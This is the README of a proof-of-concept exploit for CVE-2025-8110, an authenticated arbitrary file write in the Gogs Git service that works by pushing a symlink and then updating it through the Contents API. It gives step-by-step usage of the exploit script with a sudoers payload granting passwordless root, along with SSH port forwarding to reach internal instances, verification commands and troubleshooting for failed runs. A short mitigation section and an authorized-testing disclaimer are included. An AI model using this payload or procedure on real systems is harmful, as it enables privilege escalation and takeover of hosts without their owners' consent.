## https://sploitus.com/exploit?id=76CBEA15-6443-50A4-886A-31EF8C15B967
# CVE-2025-8110 โ Gogs Arbitrary File Write (PoC)
Proof-of-concept for an authenticated arbitrary file write in [Gogs](https://gogs.io/).
By pushing a repository that contains a symbolic link pointing outside the repo and
then updating that link's contents through the API, an authenticated user can
overwrite files on the host with the privileges of the account running Gogs.
> **Authorized testing and education only.** Run this only against systems you own
> or have explicit written permission to test. You are responsible for how you use it.
## How it works
1. Authenticate to Gogs with an existing account.
2. Generate an application (API) token from user settings.
3. Create a repository.
4. Add a symlink (`malicious_link -> /path/on/host`) and push it.
5. Send a `PUT` to the Contents API to update `malicious_link`. Gogs follows the
symlink and writes the supplied content to the target path โ with its own
privileges. If Gogs runs as root, this is a direct privilege-escalation primitive
(e.g. dropping a rule into `/etc/sudoers.d/`).
The API `PUT` is what actually triggers the write; the push only places the symlink.
## Requirements
- Python 3.8+
- `git` available on PATH
- An existing Gogs account (registration may be disabled on the target)
```bash
pip install -r requirements.txt
```
## Usage
```bash
python3 exploit.py \
-u http://127.0.0.1:3000 \
--user \
--password '' \
--target /etc/sudoers.d/pwned \
--payload ' ALL=(ALL) NOPASSWD: ALL'
```
Omit `--password` to be prompted securely instead of passing it on the command line.
### Reaching an internal Gogs instance
Gogs is often bound to localhost on the target. Use SSH local port forwarding to
expose it to your machine (adjust ports to match the target):
```bash
ssh -L 3000:127.0.0.1:3000 user@target
# then point the exploit at http://127.0.0.1:3000
```
### Verifying the write
After a successful run, check on the host (as the relevant user):
```bash
cat /etc/sudoers.d/pwned
sudo -l
```
If you wrote a sudoers rule, note that files in `/etc/sudoers.d/` must be valid and
have appropriate permissions for `sudo` to honor them.
## Notes / troubleshooting
- **`auto_init` returns HTTP 500** โ the script falls back to creating an empty repo
and populating it with a local `git init` + push.
- **Push rejected (non-fast-forward)** โ the script reconciles with the remote and
retries; it also handles `master` vs `main`.
- **CSRF token not found** โ usually means the target/port is wrong (you're hitting a
different service) or the session isn't authenticated.
## Mitigation
Upgrade to a Gogs release that validates symlinks in the Contents API. As defense in
depth, avoid running Gogs as root and isolate the repository storage.
## License
MIT โ see `LICENSE`.